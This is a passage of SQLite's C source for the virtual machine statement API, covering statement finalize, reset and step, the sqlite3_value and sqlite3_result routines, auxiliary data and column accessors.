** the sqlite3_compile() routine. The integer returned is an SQLITE_
** success/failure code that describes the result of executing the virtual
** machine.
**
** This routine sets the error code and string returned by
** sqlite3_errcode(), sqlite3_errmsg() and sqlite3_errmsg16().
*/
int sqlite3_finalize(sqlite3_stmt *pStmt){
int rc;
if( pStmt==0 ){
/* IMPLEMENTATION-OF: R-57228-12904 Invoking sqlite3_finalize() on a NULL
** pointer is a harmless no-op. */
rc = SQLITE_OK;
}else{
Vdbe *v = (Vdbe*)pStmt;
sqlite3 *db = v->db;
if( vdbeSafety(v) ) return SQLITE_MISUSE_BKPT;
sqlite3_mutex_enter(db->mutex);
checkProfileCallback(db, v);
rc = sqlite3VdbeFinalize(v);
rc = sqlite3ApiExit(db, rc);
sqlite3LeaveMutexAndCloseZombie(db);
}
return rc;
}
/*
** Terminate the current execution of an SQL statement and reset it
** back to its starting state so that it can be reused. A success code from
** the prior execution is returned.
**
** This routine sets the error code and string returned by
** sqlite3_errcode(), sqlite3_errmsg() and sqlite3_errmsg16().
*/
int sqlite3_reset(sqlite3_stmt *pStmt){
int rc;
if( pStmt==0 ){
rc = SQLITE_OK;
}else{
Vdbe *v = (Vdbe*)pStmt;
sqlite3 *db = v->db;
sqlite3_mutex_enter(db->mutex);
checkProfileCallback(db, v);
rc = sqlite3VdbeReset(v);
sqlite3VdbeRewind(v);
assert( (rc & (db->errMask))==rc );
rc = sqlite3ApiExit(db, rc);
sqlite3_mutex_leave(db->mutex);
}
return rc;
}
/*
** Set all the parameters in the compiled SQL statement to NULL.
*/
int sqlite3_clear_bindings(sqlite3_stmt *pStmt){
int i;
int rc = SQLITE_OK;
Vdbe *p = (Vdbe*)pStmt;
#if SQLITE_THREADSAFE
sqlite3_mutex *mutex = ((Vdbe*)pStmt)->db->mutex;
#endif
sqlite3_mutex_enter(mutex);
for(i=0; i<p->nVar; i++){
sqlite3VdbeMemRelease(&p->aVar[i]);
p->aVar[i].flags = MEM_Null;
}
if( p->isPrepareV2 && p->expmask ){
p->expired = 1;
}
sqlite3_mutex_leave(mutex);
return rc;
}
/**************************** sqlite3_value_ *******************************
** The following routines extract information from a Mem or sqlite3_value
** structure.
*/
const void *sqlite3_value_blob(sqlite3_value *pVal){
Mem *p = (Mem*)pVal;
if( p->flags & (MEM_Blob|MEM_Str) ){
if( ExpandBlob(p)!=SQLITE_OK ){
assert( p->flags==MEM_Null && p->z==0 );
return 0;
}
p->flags |= MEM_Blob;
return p->n ? p->z : 0;
}else{
return sqlite3_value_text(pVal);
}
}
int sqlite3_value_bytes(sqlite3_value *pVal){
return sqlite3ValueBytes(pVal, SQLITE_UTF8);
}
int sqlite3_value_bytes16(sqlite3_value *pVal){
return sqlite3ValueBytes(pVal, SQLITE_UTF16NATIVE);
}
double sqlite3_value_double(sqlite3_value *pVal){
return sqlite3VdbeRealValue((Mem*)pVal);
}
int sqlite3_value_int(sqlite3_value *pVal){
return (int)sqlite3VdbeIntValue((Mem*)pVal);
}
sqlite_int64 sqlite3_value_int64(sqlite3_value *pVal){
return sqlite3VdbeIntValue((Mem*)pVal);
}
unsigned int sqlite3_value_subtype(sqlite3_value *pVal){
Mem *pMem = (Mem*)pVal;
return ((pMem->flags & MEM_Subtype) ? pMem->eSubtype : 0);
}
const unsigned char *sqlite3_value_text(sqlite3_value *pVal){
return (const unsigned char *)sqlite3ValueText(pVal, SQLITE_UTF8);
}
#ifndef SQLITE_OMIT_UTF16
const void *sqlite3_value_text16(sqlite3_value* pVal){
return sqlite3ValueText(pVal, SQLITE_UTF16NATIVE);
}
const void *sqlite3_value_text16be(sqlite3_value *pVal){
return sqlite3ValueText(pVal, SQLITE_UTF16BE);
}
const void *sqlite3_value_text16le(sqlite3_value *pVal){
return sqlite3ValueText(pVal, SQLITE_UTF16LE);
}
#endif /* SQLITE_OMIT_UTF16 */
/* EVIDENCE-OF: R-12793-43283 Every value in SQLite has one of five
** fundamental datatypes: 64-bit signed integer 64-bit IEEE floating
** point number string BLOB NULL
*/
int sqlite3_value_type(sqlite3_value* pVal){
static const u8 aType[] = {
SQLITE_BLOB, /* 0x00 */
SQLITE_NULL, /* 0x01 */
SQLITE_TEXT, /* 0x02 */
SQLITE_NULL, /* 0x03 */
SQLITE_INTEGER, /* 0x04 */
SQLITE_NULL, /* 0x05 */
SQLITE_INTEGER, /* 0x06 */
SQLITE_NULL, /* 0x07 */
SQLITE_FLOAT, /* 0x08 */
SQLITE_NULL, /* 0x09 */
SQLITE_FLOAT, /* 0x0a */
SQLITE_NULL, /* 0x0b */
SQLITE_INTEGER, /* 0x0c */
SQLITE_NULL, /* 0x0d */
SQLITE_INTEGER, /* 0x0e */
SQLITE_NULL, /* 0x0f */
SQLITE_BLOB, /* 0x10 */
SQLITE_NULL, /* 0x11 */
SQLITE_TEXT, /* 0x12 */
SQLITE_NULL, /* 0x13 */
SQLITE_INTEGER, /* 0x14 */
SQLITE_NULL, /* 0x15 */
SQLITE_INTEGER, /* 0x16 */
SQLITE_NULL, /* 0x17 */
SQLITE_FLOAT, /* 0x18 */
SQLITE_NULL, /* 0x19 */
SQLITE_FLOAT, /* 0x1a */
SQLITE_NULL, /* 0x1b */
SQLITE_INTEGER, /* 0x1c */
SQLITE_NULL, /* 0x1d */
SQLITE_INTEGER, /* 0x1e */
SQLITE_NULL, /* 0x1f */
};
return aType[pVal->flags&MEM_AffMask];
}
/* Make a copy of an sqlite3_value object
*/
sqlite3_value *sqlite3_value_dup(const sqlite3_value *pOrig){
sqlite3_value *pNew;
if( pOrig==0 ) return 0;
pNew = sqlite3_malloc( sizeof(*pNew) );
if( pNew==0 ) return 0;
memset(pNew, 0, sizeof(*pNew));
memcpy(pNew, pOrig, MEMCELLSIZE);
pNew->flags &= ~MEM_Dyn;
pNew->db = 0;
if( pNew->flags&(MEM_Str|MEM_Blob) ){
pNew->flags &= ~(MEM_Static|MEM_Dyn);
pNew->flags |= MEM_Ephem;
if( sqlite3VdbeMemMakeWriteable(pNew)!=SQLITE_OK ){
sqlite3ValueFree(pNew);
pNew = 0;
}
}
return pNew;
}
/* Destroy an sqlite3_value object previously obtained from
** sqlite3_value_dup().
*/
void sqlite3_value_free(sqlite3_value *pOld){
sqlite3ValueFree(pOld);
}
/**************************** sqlite3_result_ *******************************
** The following routines are used by user-defined functions to specify
** the function result.
**
** The setStrOrError() function calls sqlite3VdbeMemSetStr() to store the
** result as a string or blob but if the string or blob is too large, it
** then sets the error code to SQLITE_TOOBIG
**
** The invokeValueDestructor(P,X) routine invokes destructor function X()
** on value P is not going to be used and need to be destroyed.
*/
static void setResultStrOrError(
sqlite3_context *pCtx, /* Function context */
const char *z, /* String pointer */
int n, /* Bytes in string, or negative */
u8 enc, /* Encoding of z. 0 for BLOBs */
void (*xDel)(void*) /* Destructor function */
){
if( sqlite3VdbeMemSetStr(pCtx->pOut, z, n, enc, xDel)==SQLITE_TOOBIG ){
sqlite3_result_error_toobig(pCtx);
}
}
static int invokeValueDestructor(
const void *p, /* Value to destroy */
void (*xDel)(void*), /* The destructor */
sqlite3_context *pCtx /* Set a SQLITE_TOOBIG error if no NULL */
){
assert( xDel!=SQLITE_DYNAMIC );
if( xDel==0 ){
/* noop */
}else if( xDel==SQLITE_TRANSIENT ){
/* noop */
}else{
xDel((void*)p);
}
if( pCtx ) sqlite3_result_error_toobig(pCtx);
return SQLITE_TOOBIG;
}
void sqlite3_result_blob(
sqlite3_context *pCtx,
const void *z,
int n,
void (*xDel)(void *)
){
assert( n>=0 );
assert( sqlite3_mutex_held(pCtx->pOut->db->mutex) );
setResultStrOrError(pCtx, z, n, 0, xDel);
}
void sqlite3_result_blob64(
sqlite3_context *pCtx,
const void *z,
sqlite3_uint64 n,
void (*xDel)(void *)
){
assert( sqlite3_mutex_held(pCtx->pOut->db->mutex) );
assert( xDel!=SQLITE_DYNAMIC );
if( n>0x7fffffff ){
(void)invokeValueDestructor(z, xDel, pCtx);
}else{
setResultStrOrError(pCtx, z, (int)n, 0, xDel);
}
}
void sqlite3_result_double(sqlite3_context *pCtx, double rVal){
assert( sqlite3_mutex_held(pCtx->pOut->db->mutex) );
sqlite3VdbeMemSetDouble(pCtx->pOut, rVal);
}
void sqlite3_result_error(sqlite3_context *pCtx, const char *z, int n){
assert( sqlite3_mutex_held(pCtx->pOut->db->mutex) );
pCtx->isError = SQLITE_ERROR;
pCtx->fErrorOrAux = 1;
sqlite3VdbeMemSetStr(pCtx->pOut, z, n, SQLITE_UTF8, SQLITE_TRANSIENT);
}
#ifndef SQLITE_OMIT_UTF16
void sqlite3_result_error16(sqlite3_context *pCtx, const void *z, int n){
assert( sqlite3_mutex_held(pCtx->pOut->db->mutex) );
pCtx->isError = SQLITE_ERROR;
pCtx->fErrorOrAux = 1;
sqlite3VdbeMemSetStr(pCtx->pOut, z, n, SQLITE_UTF16NATIVE, SQLITE_TRANSIENT);
}
#endif
void sqlite3_result_int(sqlite3_context *pCtx, int iVal){
assert( sqlite3_mutex_held(pCtx->pOut->db->mutex) );
sqlite3VdbeMemSetInt64(pCtx->pOut, (i64)iVal);
}
void sqlite3_result_int64(sqlite3_context *pCtx, i64 iVal){
assert( sqlite3_mutex_held(pCtx->pOut->db->mutex) );
sqlite3VdbeMemSetInt64(pCtx->pOut, iVal);
}
void sqlite3_result_null(sqlite3_context *pCtx){
assert( sqlite3_mutex_held(pCtx->pOut->db->mutex) );
sqlite3VdbeMemSetNull(pCtx->pOut);
}
void sqlite3_result_subtype(sqlite3_context *pCtx, unsigned int eSubtype){
Mem *pOut = pCtx->pOut;
assert( sqlite3_mutex_held(pOut->db->mutex) );
pOut->eSubtype = eSubtype & 0xff;
pOut->flags |= MEM_Subtype;
}
void sqlite3_result_text(
sqlite3_context *pCtx,
const char *z,
int n,
void (*xDel)(void *)
){
assert( sqlite3_mutex_held(pCtx->pOut->db->mutex) );
setResultStrOrError(pCtx, z, n, SQLITE_UTF8, xDel);
}
void sqlite3_result_text64(
sqlite3_context *pCtx,
const char *z,
sqlite3_uint64 n,
void (*xDel)(void *),
unsigned char enc
){
assert( sqlite3_mutex_held(pCtx->pOut->db->mutex) );
assert( xDel!=SQLITE_DYNAMIC );
if( enc==SQLITE_UTF16 ) enc = SQLITE_UTF16NATIVE;
if( n>0x7fffffff ){
(void)invokeValueDestructor(z, xDel, pCtx);
}else{
setResultStrOrError(pCtx, z, (int)n, enc, xDel);
}
}
#ifndef SQLITE_OMIT_UTF16
void sqlite3_result_text16(
sqlite3_context *pCtx,
const void *z,
int n,
void (*xDel)(void *)
){
assert( sqlite3_mutex_held(pCtx->pOut->db->mutex) );
setResultStrOrError(pCtx, z, n, SQLITE_UTF16NATIVE, xDel);
}
void sqlite3_result_text16be(
sqlite3_context *pCtx,
const void *z,
int n,
void (*xDel)(void *)
){
assert( sqlite3_mutex_held(pCtx->pOut->db->mutex) );
setResultStrOrError(pCtx, z, n, SQLITE_UTF16BE, xDel);
}
void sqlite3_result_text16le(
sqlite3_context *pCtx,
const void *z,
int n,
void (*xDel)(void *)
){
assert( sqlite3_mutex_held(pCtx->pOut->db->mutex) );
setResultStrOrError(pCtx, z, n, SQLITE_UTF16LE, xDel);
}
#endif /* SQLITE_OMIT_UTF16 */
void sqlite3_result_value(sqlite3_context *pCtx, sqlite3_value *pValue){
assert( sqlite3_mutex_held(pCtx->pOut->db->mutex) );
sqlite3VdbeMemCopy(pCtx->pOut, pValue);
}
void sqlite3_result_zeroblob(sqlite3_context *pCtx, int n){
assert( sqlite3_mutex_held(pCtx->pOut->db->mutex) );
sqlite3VdbeMemSetZeroBlob(pCtx->pOut, n);
}
int sqlite3_result_zeroblob64(sqlite3_context *pCtx, u64 n){
Mem *pOut = pCtx->pOut;
assert( sqlite3_mutex_held(pOut->db->mutex) );
if( n>(u64)pOut->db->aLimit[SQLITE_LIMIT_LENGTH] ){
return SQLITE_TOOBIG;
}
sqlite3VdbeMemSetZeroBlob(pCtx->pOut, (int)n);
return SQLITE_OK;
}
void sqlite3_result_error_code(sqlite3_context *pCtx, int errCode){
pCtx->isError = errCode;
pCtx->fErrorOrAux = 1;
#ifdef SQLITE_DEBUG
if( pCtx->pVdbe ) pCtx->pVdbe->rcApp = errCode;
#endif
if( pCtx->pOut->flags & MEM_Null ){
sqlite3VdbeMemSetStr(pCtx->pOut, sqlite3ErrStr(errCode), -1,
SQLITE_UTF8, SQLITE_STATIC);
}
}
/* Force an SQLITE_TOOBIG error. */
void sqlite3_result_error_toobig(sqlite3_context *pCtx){
assert( sqlite3_mutex_held(pCtx->pOut->db->mutex) );
pCtx->isError = SQLITE_TOOBIG;
pCtx->fErrorOrAux = 1;
sqlite3VdbeMemSetStr(pCtx->pOut, "string or blob too big", -1,
SQLITE_UTF8, SQLITE_STATIC);
}
/* An SQLITE_NOMEM error. */
void sqlite3_result_error_nomem(sqlite3_context *pCtx){
assert( sqlite3_mutex_held(pCtx->pOut->db->mutex) );
sqlite3VdbeMemSetNull(pCtx->pOut);
pCtx->isError = SQLITE_NOMEM_BKPT;
pCtx->fErrorOrAux = 1;
sqlite3OomFault(pCtx->pOut->db);
}
/*
** This function is called after a transaction has been committed. It
** invokes callbacks registered with sqlite3_wal_hook() as required.
*/
static int doWalCallbacks(sqlite3 *db){
int rc = SQLITE_OK;
#ifndef SQLITE_OMIT_WAL
int i;
for(i=0; i<db->nDb; i++){
Btree *pBt = db->aDb[i].pBt;
if( pBt ){
int nEntry;
sqlite3BtreeEnter(pBt);
nEntry = sqlite3PagerWalCallback(sqlite3BtreePager(pBt));
sqlite3BtreeLeave(pBt);
if( db->xWalCallback && nEntry>0 && rc==SQLITE_OK ){
rc = db->xWalCallback(db->pWalArg, db, db->aDb[i].zDbSName, nEntry);
}
}
}
#endif
return rc;
}
/*
** Execute the statement pStmt, either until a row of data is ready, the
** statement is completely executed or an error occurs.
**
** This routine implements the bulk of the logic behind the sqlite_step()
** API. The only thing omitted is the automatic recompile if a
** schema change has occurred. That detail is handled by the
** outer sqlite3_step() wrapper procedure.
*/
static int sqlite3Step(Vdbe *p){
sqlite3 *db;
int rc;
assert(p);
if( p->magic!=VDBE_MAGIC_RUN ){
/* We used to require that sqlite3_reset() be called before retrying
** sqlite3_step() after any error or after SQLITE_DONE. But beginning
** with version 3.7.0, we changed this so that sqlite3_reset() would
** be called automatically instead of throwing the SQLITE_MISUSE error.
** This "automatic-reset" change is not technically an incompatibility,
** since any application that receives an SQLITE_MISUSE is broken by
** definition.
**
** Nevertheless, some published applications that were originally written
** for version 3.6.23 or earlier do in fact depend on SQLITE_MISUSE
** returns, and those were broken by the automatic-reset change. As a
** a work-around, the SQLITE_OMIT_AUTORESET compile-time restores the
** legacy behavior of returning SQLITE_MISUSE for cases where the
** previous sqlite3_step() returned something other than a SQLITE_LOCKED
** or SQLITE_BUSY error.
*/
#ifdef SQLITE_OMIT_AUTORESET
if( (rc = p->rc&0xff)==SQLITE_BUSY || rc==SQLITE_LOCKED ){
sqlite3_reset((sqlite3_stmt*)p);
}else{
return SQLITE_MISUSE_BKPT;
}
#else
sqlite3_reset((sqlite3_stmt*)p);
#endif
}
/* Check that malloc() has not failed. If it has, return early. */
db = p->db;
if( db->mallocFailed ){
p->rc = SQLITE_NOMEM;
return SQLITE_NOMEM_BKPT;
}
if( p->pc<=0 && p->expired ){
p->rc = SQLITE_SCHEMA;
rc = SQLITE_ERROR;
goto end_of_step;
}
if( p->pc<0 ){
/* If there are no other statements currently running, then
** reset the interrupt flag. This prevents a call to sqlite3_interrupt
** from interrupting a statement that has not yet started.
*/
if( db->nVdbeActive==0 ){
db->u1.isInterrupted = 0;
}
assert( db->nVdbeWrite>0 || db->autoCommit==0
|| (db->nDeferredCons==0 && db->nDeferredImmCons==0)
);
#ifndef SQLITE_OMIT_TRACE
if( (db->xProfile || (db->mTrace & SQLITE_TRACE_PROFILE)!=0)
&& !db->init.busy && p->zSql ){
sqlite3OsCurrentTimeInt64(db->pVfs, &p->startTime);
}else{
assert( p->startTime==0 );
}
#endif
db->nVdbeActive++;
if( p->readOnly==0 ) db->nVdbeWrite++;
if( p->bIsReader ) db->nVdbeRead++;
p->pc = 0;
}
#ifdef SQLITE_DEBUG
p->rcApp = SQLITE_OK;
#endif
#ifndef SQLITE_OMIT_EXPLAIN
if( p->explain ){
rc = sqlite3VdbeList(p);
}else
#endif /* SQLITE_OMIT_EXPLAIN */
{
db->nVdbeExec++;
rc = sqlite3VdbeExec(p);
db->nVdbeExec--;
}
#ifndef SQLITE_OMIT_TRACE
/* If the statement completed successfully, invoke the profile callback */
if( rc!=SQLITE_ROW ) checkProfileCallback(db, p);
#endif
if( rc==SQLITE_DONE ){
assert( p->rc==SQLITE_OK );
p->rc = doWalCallbacks(db);
if( p->rc!=SQLITE_OK ){
rc = SQLITE_ERROR;
}
}
db->errCode = rc;
if( SQLITE_NOMEM==sqlite3ApiExit(p->db, p->rc) ){
p->rc = SQLITE_NOMEM_BKPT;
}
end_of_step:
/* At this point local variable rc holds the value that should be
** returned if this statement was compiled using the legacy
** sqlite3_prepare() interface. According to the docs, this can only
** be one of the values in the first assert() below. Variable p->rc
** contains the value that would be returned if sqlite3_finalize()
** were called on statement p.
*/
assert( rc==SQLITE_ROW || rc==SQLITE_DONE || rc==SQLITE_ERROR
|| (rc&0xff)==SQLITE_BUSY || rc==SQLITE_MISUSE
);
assert( (p->rc!=SQLITE_ROW && p->rc!=SQLITE_DONE) || p->rc==p->rcApp );
if( p->isPrepareV2 && rc!=SQLITE_ROW && rc!=SQLITE_DONE ){
/* If this statement was prepared using sqlite3_prepare_v2(), and an
** error has occurred, then return the error code in p->rc to the
** caller. Set the error code in the database handle to the same value.
*/
rc = sqlite3VdbeTransferError(p);
}
return (rc&db->errMask);
}
/*
** This is the top-level implementation of sqlite3_step(). Call
** sqlite3Step() to do most of the work. If a schema error occurs,
** call sqlite3Reprepare() and try again.
*/
int sqlite3_step(sqlite3_stmt *pStmt){
int rc = SQLITE_OK; /* Result from sqlite3Step() */
int rc2 = SQLITE_OK; /* Result from sqlite3Reprepare() */
Vdbe *v = (Vdbe*)pStmt; /* the prepared statement */
int cnt = 0; /* Counter to prevent infinite loop of reprepares */
sqlite3 *db; /* The database connection */
if( vdbeSafetyNotNull(v) ){
return SQLITE_MISUSE_BKPT;
}
db = v->db;
sqlite3_mutex_enter(db->mutex);
v->doingRerun = 0;
while( (rc = sqlite3Step(v))==SQLITE_SCHEMA
&& cnt++ < SQLITE_MAX_SCHEMA_RETRY ){
int savedPc = v->pc;
rc2 = rc = sqlite3Reprepare(v);
if( rc!=SQLITE_OK) break;
sqlite3_reset(pStmt);
if( savedPc>=0 ) v->doingRerun = 1;
assert( v->expired==0 );
}
if( rc2!=SQLITE_OK ){
/* This case occurs after failing to recompile an sql statement.
** The error message from the SQL compiler has already been loaded
** into the database handle. This block copies the error message
** from the database handle into the statement and sets the statement
** program counter to 0 to ensure that when the statement is
** finalized or reset the parser error message is available via
** sqlite3_errmsg() and sqlite3_errcode().
*/
const char *zErr = (const char *)sqlite3_value_text(db->pErr);
sqlite3DbFree(db, v->zErrMsg);
if( !db->mallocFailed ){
v->zErrMsg = sqlite3DbStrDup(db, zErr);
v->rc = rc2;
} else {
v->zErrMsg = 0;
v->rc = rc = SQLITE_NOMEM_BKPT;
}
}
rc = sqlite3ApiExit(db, rc);
sqlite3_mutex_leave(db->mutex);
return rc;
}
/*
** Extract the user data from a sqlite3_context structure and return a
** pointer to it.
*/
void *sqlite3_user_data(sqlite3_context *p){
assert( p && p->pFunc );
return p->pFunc->pUserData;
}
/*
** Extract the user data from a sqlite3_context structure and return a
** pointer to it.
**
** IMPLEMENTATION-OF: R-46798-50301 The sqlite3_context_db_handle() interface
** returns a copy of the pointer to the database connection (the 1st
** parameter) of the sqlite3_create_function() and
** sqlite3_create_function16() routines that originally registered the
** application defined function.
*/
sqlite3 *sqlite3_context_db_handle(sqlite3_context *p){
assert( p && p->pOut );
return p->pOut->db;
}
/*
** Return the current time for a statement. If the current time
** is requested more than once within the same run of a single prepared
** statement, the exact same time is returned for each invocation regardless
** of the amount of time that elapses between invocations. In other words,
** the time returned is always the time of the first call.
*/
sqlite3_int64 sqlite3StmtCurrentTime(sqlite3_context *p){
int rc;
#ifndef SQLITE_ENABLE_STAT3_OR_STAT4
sqlite3_int64 *piTime = &p->pVdbe->iCurrentTime;
assert( p->pVdbe!=0 );
#else
sqlite3_int64 iTime = 0;
sqlite3_int64 *piTime = p->pVdbe!=0 ? &p->pVdbe->iCurrentTime : &iTime;
#endif
if( *piTime==0 ){
rc = sqlite3OsCurrentTimeInt64(p->pOut->db->pVfs, piTime);
if( rc ) *piTime = 0;
}
return *piTime;
}
/*
** The following is the implementation of an SQL function that always
** fails with an error message stating that the function is used in the
** wrong context. The sqlite3_overload_function() API might construct
** SQL function that use this routine so that the functions will exist
** for name resolution but are actually overloaded by the xFindFunction
** method of virtual tables.
*/
void sqlite3InvalidFunction(
sqlite3_context *context, /* The function calling context */
int NotUsed, /* Number of arguments to the function */
sqlite3_value **NotUsed2 /* Value of each argument */
){
const char *zName = context->pFunc->zName;
char *zErr;
UNUSED_PARAMETER2(NotUsed, NotUsed2);
zErr = sqlite3_mprintf(
"unable to use function %s in the requested context", zName);
sqlite3_result_error(context, zErr, -1);
sqlite3_free(zErr);
}
/*
** Create a new aggregate context for p and return a pointer to
** its pMem->z element.
*/
static SQLITE_NOINLINE void *createAggContext(sqlite3_context *p, int nByte){
Mem *pMem = p->pMem;
assert( (pMem->flags & MEM_Agg)==0 );
if( nByte<=0 ){
sqlite3VdbeMemSetNull(pMem);
pMem->z = 0;
}else{
sqlite3VdbeMemClearAndResize(pMem, nByte);
pMem->flags = MEM_Agg;
pMem->u.pDef = p->pFunc;
if( pMem->z ){
memset(pMem->z, 0, nByte);
}
}
return (void*)pMem->z;
}
/*
** Allocate or return the aggregate context for a user function. A new
** context is allocated on the first call. Subsequent calls return the
** same context that was returned on prior calls.
*/
void *sqlite3_aggregate_context(sqlite3_context *p, int nByte){
assert( p && p->pFunc && p->pFunc->xFinalize );
assert( sqlite3_mutex_held(p->pOut->db->mutex) );
testcase( nByte<0 );
if( (p->pMem->flags & MEM_Agg)==0 ){
return createAggContext(p, nByte);
}else{
return (void*)p->pMem->z;
}
}
/*
** Return the auxiliary data pointer, if any, for the iArg'th argument to
** the user-function defined by pCtx.
*/
void *sqlite3_get_auxdata(sqlite3_context *pCtx, int iArg){
AuxData *pAuxData;
assert( sqlite3_mutex_held(pCtx->pOut->db->mutex) );
#if SQLITE_ENABLE_STAT3_OR_STAT4
if( pCtx->pVdbe==0 ) return 0;
#else
assert( pCtx->pVdbe!=0 );
#endif
for(pAuxData=pCtx->pVdbe->pAuxData; pAuxData; pAuxData=pAuxData->pNext){
if( pAuxData->iOp==pCtx->iOp && pAuxData->iArg==iArg ) break;
}
return (pAuxData ? pAuxData->pAux : 0);
}
/*
** Set the auxiliary data pointer and delete function, for the iArg'th
** argument to the user-function defined by pCtx. Any previous value is
** deleted by calling the delete function specified when it was set.
*/
void sqlite3_set_auxdata(
sqlite3_context *pCtx,
int iArg,
void *pAux,
void (*xDelete)(void*)
){
AuxData *pAuxData;
Vdbe *pVdbe = pCtx->pVdbe;
assert( sqlite3_mutex_held(pCtx->pOut->db->mutex) );
if( iArg<0 ) goto failed;
#ifdef SQLITE_ENABLE_STAT3_OR_STAT4
if( pVdbe==0 ) goto failed;
#else
assert( pVdbe!=0 );
#endif
for(pAuxData=pVdbe->pAuxData; pAuxData; pAuxData=pAuxData->pNext){
if( pAuxData->iOp==pCtx->iOp && pAuxData->iArg==iArg ) break;
}
if( pAuxData==0 ){
pAuxData = sqlite3DbMallocZero(pVdbe->db, sizeof(AuxData));
if( !pAuxData ) goto failed;
pAuxData->iOp = pCtx->iOp;
pAuxData->iArg = iArg;
pAuxData->pNext = pVdbe->pAuxData;
pVdbe->pAuxData = pAuxData;
if( pCtx->fErrorOrAux==0 ){
pCtx->isError = 0;
pCtx->fErrorOrAux = 1;
}
}else if( pAuxData->xDelete ){
pAuxData->xDelete(pAuxData->pAux);
}
pAuxData->pAux = pAux;
pAuxData->xDelete = xDelete;
return;
failed:
if( xDelete ){
xDelete(pAux);
}
}
#ifndef SQLITE_OMIT_DEPRECATED
/*
** Return the number of times the Step function of an aggregate has been
** called.
**
** This function is deprecated. Do not use it for new code. It is
** provide only to avoid breaking legacy code. New aggregate function
** implementations should keep their own counts within their aggregate
** context.
*/
int sqlite3_aggregate_count(sqlite3_context *p){
assert( p && p->pMem && p->pFunc && p->pFunc->xFinalize );
return p->pMem->n;
}
#endif
/*
** Return the number of columns in the result set for the statement pStmt.
*/
int sqlite3_column_count(sqlite3_stmt *pStmt){
Vdbe *pVm = (Vdbe *)pStmt;
return pVm ? pVm->nResColumn : 0;
}
/*
** Return the number of values available from the current row of the
** currently executing statement pStmt.
*/
int sqlite3_data_count(sqlite3_stmt *pStmt){
Vdbe *pVm = (Vdbe *)pStmt;
if( pVm==0 || pVm->pResultSet==0 ) return 0;
return pVm->nResColumn;
}
/*
** Return a pointer to static memory containing an SQL NULL value.
*/
static const Mem *columnNullValue(void){
/* Even though the Mem structure contains an element
** of type i64, on certain architectures (x86) with certain compiler
** switches (-Os), gcc may align this Mem object on a 4-byte boundary
** instead of an 8-byte one. This all works fine, except that when
** running with SQLITE_DEBUG defined the SQLite code sometimes assert()s
** that a Mem structure is located on an 8-byte boundary. To prevent
** these assert()s from failing, when building with SQLITE_DEBUG defined
** using gcc, we force nullMem to be 8-byte aligned using the magical
** __attribute__((aligned(8))) macro. */
static const Mem nullMem
#if defined(SQLITE_DEBUG) && defined(__GNUC__)
__attribute__((aligned(8)))
#endif
= {
/* .u = */ {0},
/* .flags = */ (u16)MEM_Null,
/* .enc = */ (u8)0,
/* .eSubtype = */ (u8)0,
/* .n = */ (int)0,
/* .z = */ (char*)0,
/* .zMalloc = */ (char*)0,
/* .szMalloc = */ (int)0,
/* .uTemp = */ (u32)0,
/* .db = */ (sqlite3*)0,
/* .xDel = */ (void(*)(void*))0,
#ifdef SQLITE_DEBUG
/* .pScopyFrom = */ (Mem*)0,
/* .pFiller = */ (void*)0,
#endif
};
return &nullMem;
}
/*
** Check to see if column iCol of the given statement is valid. If
** it is, return a pointer to the Mem for the value of that column.
** If iCol is not valid, return a pointer to a Mem which has a value
** of NULL.
*/
static Mem *columnMem(sqlite3_stmt *pStmt, int i){
Vdbe *pVm;
Mem *pOut;
pVm = (Vdbe *)pStmt;
if( pVm==0 ) return (Mem*)columnNullValue();
assert( pVm->db );
sqlite3_mutex_enter(pVm->db->mutex);
if( pVm->pResultSet!=0 && i<pVm->nResColumn && i>=0 ){
pOut = &pVm->pResultSet[i];
}else{
sqlite3Error(pVm->db, SQLITE_RANGE);
pOut = (Mem*)columnNullValue();
}
return pOut;
}
/*
** This function is called after invoking an sqlite3_value_XXX function on a
** column value (i.e. a value returned by evaluating an SQL expression in the
** select list of a SELECT statement) that may cause a malloc() failure. If
** malloc() has failed, the threads mallocFailed flag is cleared and the result
** code of statement pStmt set to SQLITE_NOMEM.
**
** Specifically, this is called from within:
**
** sqlite3_column_int()
** sqlite3_column_int64()
** sqlite3_column_text()
** sqlite3_column_text16()
** sqlite3_column_real()
** sqlite3_column_bytes()
** sqlite3_column_bytes16()
** sqiite3_column_blob()
*/
static void columnMallocFailure(sqlite3_stmt *pStmt)
{
/* If malloc() failed during an encoding conversion within an
** sqlite3_column_XXX API, then set the return code of the statement to
** SQLITE_NOMEM. The next call to _step() (if any) will return SQLITE_ERROR
** and _finalize() will return NOMEM.
*/
Vdbe *p = (Vdbe *)pStmt;
if( p ){
assert( p->db!=0 );
assert( sqlite3_mutex_held(p->db->mutex) );
p->rc = sqlite3ApiExit(p->db, p->rc);
sqlite3_mutex_leave(p->db->mutex);
}
}
/**************************** sqlite3_column_ *******************************
** The following routines are used to access elements of the current row
** in the result set.
*/
const void *sqlite3_column_blob(sqlite3_stmt *pStmt, int i){
const void *val;
val = sqlite3_value_blob( columnMem(pStmt,i) );
/* Even though there is no encoding conversion, value_blob() might
** need to call malloc() to expand the result of a zeroblob()
** expression.
*/
columnMallocFailure(pStmt);
return val;
}
int sqlite3_column_bytes(sqlite3_stmt *pStmt, int i){
int val = sqlite3_value_bytes( columnMem(pStmt,i) );
columnMallocFailure(pStmt);
return val;
}
int sqlite3_column_bytes16(sqlite3_stmt *pStmt, int i){
int val = sqlite3_value_bytes16( columnMem(pStmt,i) );
columnMallocFailure(pStmt);
return val;
}
double sqlite3_column_double(sqlite3_stmt *pStmt, int i){
double val = sqlite3_value_double( columnMem(pStmt,i) );
columnMallocFailure(pStmt);
return val;
}
int sqlite3_column_int(sqlite3_stmt *pStmt, int i){
int val = sqlite3_value_int( columnMem(pStmt,i) );
columnMallocFailure(pStmt);
return val;
}
sqlite_int64 sqlite3_column_int64(sqlite3_stmt *pStmt, int i){
sqlite_int64 val = sqlite3_value_int64( columnMem(pStmt,i) );
columnMallocFailure(pStmt);
return val;
}
const unsigned char *sqlite3_column_text(sqlite3_stmt *pStmt, int i){
const unsigned char *val = sqlite3_value_text( columnMem(pStmt,i) );
columnMallocFailure(pStmt);
return val;
}
sqlite3_value *sqlite3_column_value(sqlite3_stmt *pStmt, int i){
Mem *pOut = columnMem(pStmt, i);
if( pOut->flags&MEM_Static ){
pOut->flags &= ~MEM_Static;
pOut->flags |= MEM_Ephem;
}
columnMallocFailure(pStmt);
return (sqlite3_value *)pOut;
}
#ifndef SQLITE_OMIT_UTF16
const void *sqlite3_column_text16(sqlite3_stmt *pStmt, int i){
const void *val = sqlite3_value_text16( columnMem(pStmt,i) );
columnMallocFailure(pStmt);
return val;
}
